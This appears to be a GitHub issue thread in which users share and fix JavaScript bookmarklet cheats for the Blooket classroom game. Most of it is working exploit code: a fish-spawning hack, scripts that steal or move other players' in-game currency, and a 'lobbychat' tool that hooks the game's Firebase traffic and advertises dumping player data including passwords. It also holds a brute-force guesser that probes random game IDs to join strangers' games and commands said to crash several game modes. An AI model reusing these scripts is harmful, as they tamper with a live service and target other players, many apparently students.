Closed CryptoDude3 closed 4 months ago
05konz wouldn't add it, here it is again:
javascript:var iframe = document.createElement("iframe");document.body.appendChild(iframe);window.prompt=iframe.contentWindow.prompt.bind(window);window.alert=iframe.contentWindow.alert.bind(window);iframe.remove();function reactHandler(){return Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner;}var stuff={"Old Boot":{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},Waffle:{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},"Two of Spades":{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},Jellyfish:{rarity:"Easy One",minWeight:10,maxWeight:25,tiers:["D","C","B"]},Clownfish:{rarity:"Easy One",minWeight:20,maxWeight:45,tiers:["D","C","B"]},Goldfish:{rarity:"Easy One",minWeight:30,maxWeight:65,tiers:["D","C","B"]},Frog:{rarity:"Easy One",minWeight:50,maxWeight:100,tiers:["D","C","B"]},"Blizzard Clownfish":{rarity:"Great Catch",minWeight:75,maxWeight:125,tiers:["D","C","B"]},Turtle:{rarity:"Great Catch",minWeight:100,maxWeight:150,tiers:["D","C","B","A"]},Cat:{rarity:"Great Catch",minWeight:100,maxWeight:200,tiers:["D","C","B","A"]},"Lovely Frog":{rarity:"Great Catch",minWeight:150,maxWeight:350,tiers:["D","C","B","A"]},"Lucky Frog":{rarity:"Great Catch",minWeight:200,maxWeight:400,tiers:["D","C","B","A"]},"Poison Dart Frog":{rarity:"Great Catch",minWeight:250,maxWeight:750,tiers:["D","C","B","A"]},Seal:{rarity:"Rare Find",minWeight:500,maxWeight:1e3,tiers:["D","C","B","A"]},Walrus:{rarity:"Rare Find",minWeight:700,maxWeight:2200,tiers:["D","C","B","A"]},Fairy:{rarity:"Rare Find",minWeight:1500,maxWeight:2500,tiers:["D","C","B","A"]},Crab:{rarity:"Rare Find",minWeight:1e3,maxWeight:3e3,tiers:["D","C","B","A"]},"Lemon Crab":{rarity:"Rare Find",minWeight:2e3,maxWeight:5e3,tiers:["C","B","A"]},Pufferfish:{rarity:"Rare Find",minWeight:2e3,maxWeight:4e3,tiers:["D","C","B","A"]},Blobfish:{rarity:"Rare Find",minWeight:3e3,maxWeight:5e3,tiers:["D","C","B","A"]},"Rainbow Jellyfish":{rarity:"Epic Grab",minWeight:7e3,maxWeight:1e4,tiers:["C","B","A"]},Octopus:{rarity:"Epic Grab",minWeight:1e4,maxWeight:15e3,tiers:["C","B","A"]},"Pirate Pufferfish":{rarity:"Epic Grab",minWeight:12e3,maxWeight:2e4,tiers:["C","B","A"]},"Donut Blobfish":{rarity:"Epic Grab",minWeight:13e3,maxWeight:25e3,tiers:["C","B","A"]},"Crimson Octopus":{rarity:"Epic Grab",minWeight:15e3,maxWeight:3e4,tiers:["B","A"]},Narwhal:{rarity:"Catch of the Day",minWeight:25e3,maxWeight:5e4,tiers:["B","A","S"]},"Baby Shark":{rarity:"Catch of the Day",minWeight:5e4,maxWeight:1e5,tiers:["B","A","S"]},Megalodon:{rarity:"Catch of the Day",minWeight:25e4,maxWeight:5e5,tiers:["B","A","S"]},Alien:{rarity:"Angler's Legend",minWeight:5e5,maxWeight:7e5,tiers:["A","S"]},"Rainbow Narwhal":{rarity:"Angler's Legend",minWeight:75e4,maxWeight:1e6,tiers:["A","S","S+"]},UFO:{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Santa Claus":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Swamp Monster":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Red Astronaut":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Spooky Pumpkin":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},Dragon:{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Tim the Alien":{rarity:"Angler's Legend",minWeight:15e5,maxWeight:25e5,tiers:["A","S","S+"]}},specialFish=["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"];function getFish(fish){function rand(min,max){return Math.floor(Math.random() * (max-min) + min);}return {name:fish,rarity:stuff[fish].rarity,weight:rand(stuff[fish].minWeight,stuff[fish].maxWeight),tier:stuff[fish].tiers[Math.floor(Math.random()*stuff[fish].tiers.length)],isSpecial:specialFish.includes(fish)&&Math.floor(Math.random()*100)<8};}if(!window.functionSet){var origAns = reactHandler().stateNode.answerNext;reactHandler().stateNode.answerNext = function(){if(reactHandler().stateNode.state.hackFish){reactHandler().stateNode.setState({stage:"caught",isCast:false,fish:getFish(reactHandler().stateNode.state.hackFish),claimReady:false});setTimeout(function(){reactHandler().stateNode.setState({claimReady:true})},1600);reactHandler().stateNode.state.hackFish=null;}else{origAns.apply(this,arguments);}}}window.functionSet = true;function setHackFish(val){if(Object.keys(stuff).includes(val)){reactHandler().stateNode.state.hackFish=val;}else{alert("That fish does not exist!");return;}}setHackFish(prompt("What fish would you like to catch next(case sensitive)?"));
also what happened to 05konz?
All Jods accounts randomly got suspended and 05konz's main got suspended so she made a second account 05konz2 but it got suspended but she's trying to get the hacks back up so she may be back in a few days
Oh and I can also add the send money to people in cafe if you want
javascript:function%20reactHandler()%7Breturn%20Object.values(document.querySelector('body%20div%5Bclass*=%22camelCase%22%5D'))%5B1%5D.children%5B0%5D._owner%7Dvar%20iframe%20=%20document.createElement(%22iframe%22);document.head.appendChild(iframe);window.prompt=iframe.contentWindow.prompt;reactHandler().stateNode.props.liveGameController.setVal(%7B%20id:%20reactHandler().stateNode.props.client.hostId,%20path:%20%22c/%22%20+%20reactHandler().stateNode.props.client.name%20+%20%22/tat%22,%20val:%20prompt(%22Enter%20your%20buddies%20name%20here:%20%22)%20+%20%22:pay%22%20%20%7D);
Add the send money in cafe cheat. Mabye u can add lobbychat(i added chat commands just do /help in the chat run it in the lobby):
javascript:function reactHandler(){return Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner}var j=0;var rx=false;var hi = false;document.addEventListener("keydown",function(e){if(e.key==="`"){hi=!hi;c.style.display=hi?"block":"none";}});function parseCmd(t){ if(t.charAt(0)==="/"){ var c = t.split(" "); var cm = c[0].replace("/",""); c.splice(0,1); return {cmd:cm,args:c}; } else {return false;}}function setstate(args){var t = {};args.forEach(e=>{var p = e.split(":");if(!Number.isNaN(parseInt(p[1]))){if(parseInt(p[1]).toString()===p[1]){p[1]=parseInt(p[1]);}}t[p[0]] = p[1];});reactHandler().stateNode.setState(t);a("Set Successful!");}function setv(args){reactHandler().stateNode.props.liveGameController.setVal({path:"c/" + reactHandler().stateNode.props.client.name + "/" + args[0],val:args.slice(1,args.length).join(" ")});}function tsvlog(){window.logsv=!window.logsv;a("SetVal log set to " + (window.logsv?"Enabled":"Disabled"));}function dumpstate(){Object.keys(reactHandler().stateNode.state).map(e=>{var obj = reactHandler().stateNode.state[e];if(obj!=null){if(Array.from(obj) && typeof obj === "object"){obj="[Array]";}a(e + ":" + obj);}else{return "N/A";}}).join(";");}function setBlook(b){var blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;b=Object.keys(blooks).find(e=>b.toLocaleLowerCase()===e.toLocaleLowerCase());if(blooks[b]){a("Setting blook to " + b + "!");reactHandler().stateNode.props.liveGameController.setVal({id:reactHandler().stateNode.props.client.hostId,path:"c/"+reactHandler().stateNode.props.client.name,val:{b:b}});reactHandler().stateNode.props.client.blook=b;}else{a("No blook with that name was found!");}}function unlockBlook(b){var blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;b=Object.keys(blooks).find(e=>b.toLocaleLowerCase()===e.toLocaleLowerCase());if(blooks[b]){reactHandler().stateNode.state.unlocks.push(b);reactHandler().stateNode.forceUpdate();}else{a("No blook with that name was found!");}}function list(){reactHandler().stateNode.props.liveGameController.getDatabaseVal("c").then(e=>{a("Current Players(" + Object.keys(e).length + "): " + Object.keys(e).join(","));});}function flist(p){reactHandler().stateNode.props.liveGameController.getDatabaseVal("c/"+p).then(e=>{if(e!=null){a("Dump: " + JSON.stringify(e));}else{a("Player not found!");}});}function sendMessage(e){var t = parseCmd(e);if(t){switch(t.cmd){case "cb":setBlook(t.args.join(" "));break;case "clear":b.innerHTML="";break;case "dumpstate":dumpstate();break;case "list":list();break;case "tlog":tsvlog();break;case "setval":setv(t.args);break;case "setstate":setstate(t.args);break;case "ahelp":a("Advanced Commands: setval(sets val logged by tlog ex /setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto:5 crypto2:5 etc)");break;case "help":a("Available Commands: help(gives help),ahelp(advanced commands help), cb(changes blook /cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player)), clear(clears chat), code(gives game code), unlock(unlocks blook on lobby screen)");break;case "dump":flist(t.args.join(" "));break;case "unlock":unlockBlook(t.args.join(" "));break;case "code":a("Game Code: " + reactHandler().stateNode.props.client.hostId);break;default:a("Unrecognized chat command!");break;}}else{reactHandler().stateNode.props.liveGameController.setVal({id:reactHandler().stateNode.props.client.hostId,path:"c/"+reactHandler().stateNode.props.client.name,val:{b:reactHandler().stateNode.props.client.blook,i:j,msg:e}}),j++;}}const c=document.createElement("div");c.className="chat-box",document.body.appendChild(c);const h=document.createElement("div");h.className="chat-header",h.textContent="Chat",c.appendChild(h);const b=document.createElement("div");b.className="chat-body",c.appendChild(b);const i=document.createElement("input");function a(e){const t=document.createElement("div");t.textContent=e,b.appendChild(t)}i.type="text",i.className="chat-input",i.placeholder="Type a message...",c.appendChild(i),c.style.position="fixed",c.style.bottom="20px",c.style.right="20px",c.style.width="300px",c.style.backgroundColor="#fff",c.style.border="1px solid #ccc",c.style.boxShadow="0px 0px 10px rgba(0, 0, 0, 0.2)",h.addEventListener("click",(()=>{b.classList.toggle("open")})),i.addEventListener("keydown",(function(e){13===e.keyCode&&(sendMessage(e.srcElement.value),e.srcElement.value="")}));var da=reactHandler().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;function handleChat(e,t){if(e.includes("/stg")&&!rx){rx=true;a("Game has progressed! The Chat will not work, but commands will.");}if(t!=null){t.msg&&(console.log(t.msg),a(e.split("/")[2]+": "+t.msg))}}reactHandler().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_=function(e,t,a,n){console.log(e,t,a,n),handleChat(e,t),da(e,t,a,n)};window.logsv = false;function onsv(e){if(window.logsv){a("Path: " + e.path.split("/").splice(2,2).join("/") + " Val: " + ((typeof e.val==='object')?JSON.stringify(e.val):e.val));}}
var orgsv = reactHandler().stateNode.props.liveGameController.setVal;reactHandler().stateNode.props.liveGameController.setVal = function(){onsv.apply(this,arguments);orgsv.apply(this,arguments);};a("Lobbychat successfully loaded!");
in the give people money cafe cheat where it says pay you can replace that with inspect, or any other action
Add the send money in cafe cheat. Mabye u can add lobbychat(i added chat commands just do /help in the chat run it in the lobby):
javascript:function reactHandler(){return Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner}var j=0;var rx=false;var hi = false;document.addEventListener("keydown",function(e){if(e.key==="`"){hi=!hi;c.style.display=hi?"block":"none";}});function parseCmd(t){ if(t.charAt(0)==="/"){ var c = t.split(" "); var cm = c[0].replace("/",""); c.splice(0,1); return {cmd:cm,args:c}; } else {return false;}}function setstate(args){var t = {};args.forEach(e=>{var p = e.split(":");if(!Number.isNaN(parseInt(p[1]))){if(parseInt(p[1]).toString()===p[1]){p[1]=parseInt(p[1]);}}t[p[0]] = p[1];});reactHandler().stateNode.setState(t);a("Set Successful!");}function setv(args){reactHandler().stateNode.props.liveGameController.setVal({path:"c/" + reactHandler().stateNode.props.client.name + "/" + args[0],val:args.slice(1,args.length).join(" ")});}function tsvlog(){window.logsv=!window.logsv;a("SetVal log set to " + (window.logsv?"Enabled":"Disabled"));}function dumpstate(){Object.keys(reactHandler().stateNode.state).map(e=>{var obj = reactHandler().stateNode.state[e];if(obj!=null){if(Array.from(obj) && typeof obj === "object"){obj="[Array]";}a(e + ":" + obj);}else{return "N/A";}}).join(";");}function setBlook(b){var blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;b=Object.keys(blooks).find(e=>b.toLocaleLowerCase()===e.toLocaleLowerCase());if(blooks[b]){a("Setting blook to " + b + "!");reactHandler().stateNode.props.liveGameController.setVal({id:reactHandler().stateNode.props.client.hostId,path:"c/"+reactHandler().stateNode.props.client.name,val:{b:b}});reactHandler().stateNode.props.client.blook=b;}else{a("No blook with that name was found!");}}function unlockBlook(b){var blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;b=Object.keys(blooks).find(e=>b.toLocaleLowerCase()===e.toLocaleLowerCase());if(blooks[b]){reactHandler().stateNode.state.unlocks.push(b);reactHandler().stateNode.forceUpdate();}else{a("No blook with that name was found!");}}function list(){reactHandler().stateNode.props.liveGameController.getDatabaseVal("c").then(e=>{a("Current Players(" + Object.keys(e).length + "): " + Object.keys(e).join(","));});}function flist(p){reactHandler().stateNode.props.liveGameController.getDatabaseVal("c/"+p).then(e=>{if(e!=null){a("Dump: " + JSON.stringify(e));}else{a("Player not found!");}});}function sendMessage(e){var t = parseCmd(e);if(t){switch(t.cmd){case "cb":setBlook(t.args.join(" "));break;case "clear":b.innerHTML="";break;case "dumpstate":dumpstate();break;case "list":list();break;case "tlog":tsvlog();break;case "setval":setv(t.args);break;case "setstate":setstate(t.args);break;case "ahelp":a("Advanced Commands: setval(sets val logged by tlog ex /setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto:5 crypto2:5 etc)");break;case "help":a("Available Commands: help(gives help),ahelp(advanced commands help), cb(changes blook /cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player)), clear(clears chat), code(gives game code), unlock(unlocks blook on lobby screen)");break;case "dump":flist(t.args.join(" "));break;case "unlock":unlockBlook(t.args.join(" "));break;case "code":a("Game Code: " + reactHandler().stateNode.props.client.hostId);break;default:a("Unrecognized chat command!");break;}}else{reactHandler().stateNode.props.liveGameController.setVal({id:reactHandler().stateNode.props.client.hostId,path:"c/"+reactHandler().stateNode.props.client.name,val:{b:reactHandler().stateNode.props.client.blook,i:j,msg:e}}),j++;}}const c=document.createElement("div");c.className="chat-box",document.body.appendChild(c);const h=document.createElement("div");h.className="chat-header",h.textContent="Chat",c.appendChild(h);const b=document.createElement("div");b.className="chat-body",c.appendChild(b);const i=document.createElement("input");function a(e){const t=document.createElement("div");t.textContent=e,b.appendChild(t)}i.type="text",i.className="chat-input",i.placeholder="Type a message...",c.appendChild(i),c.style.position="fixed",c.style.bottom="20px",c.style.right="20px",c.style.width="300px",c.style.backgroundColor="#fff",c.style.border="1px solid #ccc",c.style.boxShadow="0px 0px 10px rgba(0, 0, 0, 0.2)",h.addEventListener("click",(()=>{b.classList.toggle("open")})),i.addEventListener("keydown",(function(e){13===e.keyCode&&(sendMessage(e.srcElement.value),e.srcElement.value="")}));var da=reactHandler().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;function handleChat(e,t){if(e.includes("/stg")&&!rx){rx=true;a("Game has progressed! The Chat will not work, but commands will.");}if(t!=null){t.msg&&(console.log(t.msg),a(e.split("/")[2]+": "+t.msg))}}reactHandler().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_=function(e,t,a,n){console.log(e,t,a,n),handleChat(e,t),da(e,t,a,n)};window.logsv = false;function onsv(e){if(window.logsv){a("Path: " + e.path.split("/").splice(2,2).join("/") + " Val: " + ((typeof e.val==='object')?JSON.stringify(e.val):e.val));}} var orgsv = reactHandler().stateNode.props.liveGameController.setVal;reactHandler().stateNode.props.liveGameController.setVal = function(){onsv.apply(this,arguments);orgsv.apply(this,arguments);};a("Lobbychat successfully loaded!");
in the give people money cafe cheat where it says pay you can replace that with inspect, or any other action
I think I did the changing it to inspect correct just tell me if i didn’t because I’m still learning to code JavaScript @CryptoDude3
Blooket uses :inspect for it, ur script says :inspect: Blooket sends the Cafe steal in the format playername:action, but the modded code says playername:inspect: If you paste in lobbychat and run the cmd /tlog it will log all of the server values. For example in Cafe when u inspect the output would be:
Path: Val: {"b":"Cow","tat":"victim:tax"}
The path is blank bc blooket doesn't use path, it changes them all at once. It sets the value tat to victim:tax, causing them to be taxed. It also uses the same "tat" path for gold quest and crypto and any game with stealing. For gq/crhck it's path tat Val "player:amttosteal" Lobbychats a good tool for debugging the values to make cheats tho(the updated version)
Accidentally closed it
Accidentally closed it
It's cool
Could you potentially code me a working host any gamemode cheat the Konz one is broken @CryptoDude3
Make sure it includes Santa's workshop @CryptoDude3
yo @CryptoDude3 the catch any fish and send money in cafe needs fixed blooket patched everything
Heres the new lbchat I fixed(really easy; replace camelCase with _body):
javascript:function reactHandler(){return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner}var j=0;var rx=false;var hi = false;document.addEventListener("keydown",function(e){if(e.key==="`"){hi=!hi;c.style.display=hi?"block":"none";}});function parseCmd(t){ if(t.charAt(0)==="/"){ var c = t.split(" "); var cm = c[0].replace("/",""); c.splice(0,1); return {cmd:cm,args:c}; } else {return false;}}function setstate(args){var t = {};args.forEach(e=>{var p = e.split(":");if(!Number.isNaN(parseInt(p[1]))){if(parseInt(p[1]).toString()===p[1]){p[1]=parseInt(p[1]);}}t[p[0]] = p[1];});reactHandler().stateNode.setState(t);a("Set Successful!");}function setv(args){reactHandler().stateNode.props.liveGameController.setVal({path:"c/" + reactHandler().stateNode.props.client.name + "/" + args[0],val:args.slice(1,args.length).join(" ")});}function tsvlog(){window.logsv=!window.logsv;a("SetVal log set to " + (window.logsv?"Enabled":"Disabled"));}function dumpstate(){Object.keys(reactHandler().stateNode.state).map(e=>{var obj = reactHandler().stateNode.state[e];if(obj!=null){if(Array.from(obj) && typeof obj === "object"){obj="[Array]";}a(e + ":" + obj);}else{return "N/A";}}).join(";");}function setBlook(b){var blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;b=Object.keys(blooks).find(e=>b.toLocaleLowerCase()===e.toLocaleLowerCase());if(blooks[b]){a("Setting blook to " + b + "!");reactHandler().stateNode.props.liveGameController.setVal({id:reactHandler().stateNode.props.client.hostId,path:"c/"+reactHandler().stateNode.props.client.name,val:{b:b}});reactHandler().stateNode.props.client.blook=b;}else{a("No blook with that name was found!");}}function unlockBlook(b){var blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;b=Object.keys(blooks).find(e=>b.toLocaleLowerCase()===e.toLocaleLowerCase());if(blooks[b]){reactHandler().stateNode.state.unlocks.push(b);reactHandler().stateNode.forceUpdate();}else{a("No blook with that name was found!");}}function list(){reactHandler().stateNode.props.liveGameController.getDatabaseVal("c").then(e=>{a("Current Players(" + Object.keys(e).length + "): " + Object.keys(e).join(","));});}function flist(p){reactHandler().stateNode.props.liveGameController.getDatabaseVal("c/"+p).then(e=>{if(e!=null){a("Dump: " + JSON.stringify(e));}else{a("Player not found!");}});}function sendMessage(e){var t = parseCmd(e);if(t){switch(t.cmd){case "cb":setBlook(t.args.join(" "));break;case "clear":b.innerHTML="";break;case "dumpstate":dumpstate();break;case "list":list();break;case "tlog":tsvlog();break;case "setval":setv(t.args);break;case "setstate":setstate(t.args);break;case "ahelp":a("Advanced Commands: setval(sets val logged by tlog ex /setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto:5 crypto2:5 etc)");break;case "help":a("Available Commands: help(gives help),ahelp(advanced commands help), cb(changes blook /cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player)), clear(clears chat), code(gives game code), unlock(unlocks blook on lobby screen)");break;case "dump":flist(t.args.join(" "));break;case "unlock":unlockBlook(t.args.join(" "));break;case "code":a("Game Code: " + reactHandler().stateNode.props.client.hostId);break;default:a("Unrecognized chat command!");break;}}else{reactHandler().stateNode.props.liveGameController.setVal({id:reactHandler().stateNode.props.client.hostId,path:"c/"+reactHandler().stateNode.props.client.name,val:{b:reactHandler().stateNode.props.client.blook,i:j,msg:e}}),j++;}}const c=document.createElement("div");c.className="chat-box",document.body.appendChild(c);const h=document.createElement("div");h.className="chat-header",h.textContent="Chat",c.appendChild(h);const b=document.createElement("div");b.className="chat-body",c.appendChild(b);const i=document.createElement("input");function a(e){const t=document.createElement("div");t.textContent=e,b.appendChild(t)}i.type="text",i.className="chat-input",i.placeholder="Type a message...",c.appendChild(i),c.style.position="fixed",c.style.bottom="20px",c.style.right="20px",c.style.width="300px",c.style.backgroundColor="#fff",c.style.border="1px solid #ccc",c.style.boxShadow="0px 0px 10px rgba(0, 0, 0, 0.2)",h.addEventListener("click",(()=>{b.classList.toggle("open")})),i.addEventListener("keydown",(function(e){13===e.keyCode&&(sendMessage(e.srcElement.value),e.srcElement.value="")}));var da=reactHandler().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;function handleChat(e,t){if(e.includes("/stg")&&!rx){rx=true;a("Game has progressed! The Chat will not work, but commands will.");}if(t!=null){t.msg&&(console.log(t.msg),a(e.split("/")[2]+": "+t.msg))}}reactHandler().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_=function(e,t,a,n){console.log(e,t,a,n),handleChat(e,t),da(e,t,a,n)};window.logsv = false;function onsv(e){if(window.logsv){a("Path: " + e.path.split("/").splice(2,2).join("/") + " Val: " + ((typeof e.val==='object')?JSON.stringify(e.val):e.val));}}var orgsv = reactHandler().stateNode.props.liveGameController.setVal;reactHandler().stateNode.props.liveGameController.setVal = function(){onsv.apply(this,arguments);orgsv.apply(this,arguments);};a("Lobbychat successfully loaded!");function app(){c.style.wordWrap="break-word";}app();
you can thank me later (change blooks wont work bc blooket patched webpackjsonp but the rest does) Example commands: set gold: /setstate gold:5000 set crypto:/setstate crypto:5000 steal gold:/setval tat playertosteal:5000 swap gold:/setval tat playertoswap:swap:5000 pirate steal: /setval tat playertosteal:5000 change banner: /setval bg bannerNameHere (ex. fire,endRainbow,etc.) change blook(make sure it exists or will crash raw set no cb): /setval b Rainbow Astronaut cafe action: /setval tat playertoattack:tax log all sets(can be used to obtain setval values): /tlog /dump lists players and info you can also do /help for the other commands
Catch any fish:
javascript:var iframe = document.createElement("iframe");document.body.appendChild(iframe);window.prompt=iframe.contentWindow.prompt.bind(window);window.alert=iframe.contentWindow.alert.bind(window);iframe.remove();function reactHandler(){return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner;}var stuff={"Old Boot":{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},Waffle:{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},"Two of Spades":{rarity:"Trash",minWeight:1,maxWeight:10,tiers:["F","D","C"]},Jellyfish:{rarity:"Easy One",minWeight:10,maxWeight:25,tiers:["D","C","B"]},Clownfish:{rarity:"Easy One",minWeight:20,maxWeight:45,tiers:["D","C","B"]},Goldfish:{rarity:"Easy One",minWeight:30,maxWeight:65,tiers:["D","C","B"]},Frog:{rarity:"Easy One",minWeight:50,maxWeight:100,tiers:["D","C","B"]},"Blizzard Clownfish":{rarity:"Great Catch",minWeight:75,maxWeight:125,tiers:["D","C","B"]},Turtle:{rarity:"Great Catch",minWeight:100,maxWeight:150,tiers:["D","C","B","A"]},Cat:{rarity:"Great Catch",minWeight:100,maxWeight:200,tiers:["D","C","B","A"]},"Lovely Frog":{rarity:"Great Catch",minWeight:150,maxWeight:350,tiers:["D","C","B","A"]},"Lucky Frog":{rarity:"Great Catch",minWeight:200,maxWeight:400,tiers:["D","C","B","A"]},"Poison Dart Frog":{rarity:"Great Catch",minWeight:250,maxWeight:750,tiers:["D","C","B","A"]},Seal:{rarity:"Rare Find",minWeight:500,maxWeight:1e3,tiers:["D","C","B","A"]},Walrus:{rarity:"Rare Find",minWeight:700,maxWeight:2200,tiers:["D","C","B","A"]},Fairy:{rarity:"Rare Find",minWeight:1500,maxWeight:2500,tiers:["D","C","B","A"]},Crab:{rarity:"Rare Find",minWeight:1e3,maxWeight:3e3,tiers:["D","C","B","A"]},"Lemon Crab":{rarity:"Rare Find",minWeight:2e3,maxWeight:5e3,tiers:["C","B","A"]},Pufferfish:{rarity:"Rare Find",minWeight:2e3,maxWeight:4e3,tiers:["D","C","B","A"]},Blobfish:{rarity:"Rare Find",minWeight:3e3,maxWeight:5e3,tiers:["D","C","B","A"]},"Rainbow Jellyfish":{rarity:"Epic Grab",minWeight:7e3,maxWeight:1e4,tiers:["C","B","A"]},Octopus:{rarity:"Epic Grab",minWeight:1e4,maxWeight:15e3,tiers:["C","B","A"]},"Pirate Pufferfish":{rarity:"Epic Grab",minWeight:12e3,maxWeight:2e4,tiers:["C","B","A"]},"Donut Blobfish":{rarity:"Epic Grab",minWeight:13e3,maxWeight:25e3,tiers:["C","B","A"]},"Crimson Octopus":{rarity:"Epic Grab",minWeight:15e3,maxWeight:3e4,tiers:["B","A"]},Narwhal:{rarity:"Catch of the Day",minWeight:25e3,maxWeight:5e4,tiers:["B","A","S"]},"Baby Shark":{rarity:"Catch of the Day",minWeight:5e4,maxWeight:1e5,tiers:["B","A","S"]},Megalodon:{rarity:"Catch of the Day",minWeight:25e4,maxWeight:5e5,tiers:["B","A","S"]},Alien:{rarity:"Angler's Legend",minWeight:5e5,maxWeight:7e5,tiers:["A","S"]},"Rainbow Narwhal":{rarity:"Angler's Legend",minWeight:75e4,maxWeight:1e6,tiers:["A","S","S+"]},UFO:{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Santa Claus":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Swamp Monster":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Red Astronaut":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Spooky Pumpkin":{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},Dragon:{rarity:"Angler's Legend",minWeight:1e6,maxWeight:2e6,tiers:["A","S","S+"]},"Tim the Alien":{rarity:"Angler's Legend",minWeight:15e5,maxWeight:25e5,tiers:["A","S","S+"]}},specialFish=["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"];function getFish(fish){function rand(min,max){return Math.floor(Math.random() * (max-min) + min);}return {name:fish,rarity:stuff[fish].rarity,weight:rand(stuff[fish].minWeight,stuff[fish].maxWeight),tier:stuff[fish].tiers[Math.floor(Math.random()*stuff[fish].tiers.length)],isSpecial:specialFish.includes(fish)&&Math.floor(Math.random()*100)<8};}if(!window.functionSet){var origAns = reactHandler().stateNode.answerNext;reactHandler().stateNode.answerNext = function(){if(reactHandler().stateNode.state.hackFish){reactHandler().stateNode.setState({stage:"caught",isCast:false,fish:getFish(reactHandler().stateNode.state.hackFish),claimReady:false});setTimeout(function(){reactHandler().stateNode.setState({claimReady:true})},1600);reactHandler().stateNode.state.hackFish=null;}else{origAns.apply(this,arguments);}}}window.functionSet = true;function setHackFish(val){if(Object.keys(stuff).includes(val)){reactHandler().stateNode.state.hackFish=val;}else{alert("That fish does not exist!");return;}}setHackFish(prompt("What fish would you like to catch next(case sensitive)?"));
Send money cheat:
javascript:function reactHandler(){return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner}var iframe = document.createElement("iframe");document.head.appendChild(iframe);window.prompt=iframe.contentWindow.prompt;reactHandler().stateNode.props.liveGameController.setVal({ id: reactHandler().stateNode.props.client.hostId, path: "c/" + reactHandler().stateNode.props.client.name + "/tat", val: prompt("Enter your buddies name here: ") + ":inspect" });
@CryptoDude3 could you potentially fix the code guesser
yea its fixed on my github here it is anyways:
var guess=0,sleep=0,display=document.querySelector("div[class*='titleText']");function reactHandler(){return Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode}function generateRandomId(){return Math.floor(9e6*Math.random())+1e6}function checkGameExists(){const e=generateRandomId();fetch(`https://fb.blooket.com/c/firebase/id?id=${e}`,{method:"GET",credentials:"include"}).then((e=>e.json())).then((t=>{!0===t.success?(console.log("Game found:",e),display.innerHTML="Game Found!",reactHandler().setState({client:{hostId:e.toString()}}),reactHandler().onJoin()):(console.log("No game found for:",e),reactHandler().setState({client:{hostId:e.toString()}}),guess++,display.innerHTML="Guesses: "+guess,++sleep>15?(setTimeout(checkGameExists,1e3),sleep=0):checkGameExists())})).catch((e=>{alert("Error:"+e)}))}checkGameExists();
Thanks
Is there any working get daily cheat if not is it possible to make one
And maybe a use any blook cheat
the problem with all of those cheats they use webpackJsonp which was an object that used to be accessible from the global scope(code run in console/bookmark) but it is now inside of an ES6 module(a module). the only way to get them to run again is to use an override in inspect element, im currently working on it rn. mabye even a tampermonkey script to reenable all of the hacks, idk theres also a way to crash about half of the blooket gamemodes (gold: /setval g/anyvalue anyvalue)(crypto: /setval cr/anyvalue anyvalue)(towerdefense2:/setval d/anyvalue anywalue) basically whatever value is rendered onscreen, there is a chance you can use the format above, use tlog to determine the value or /dump
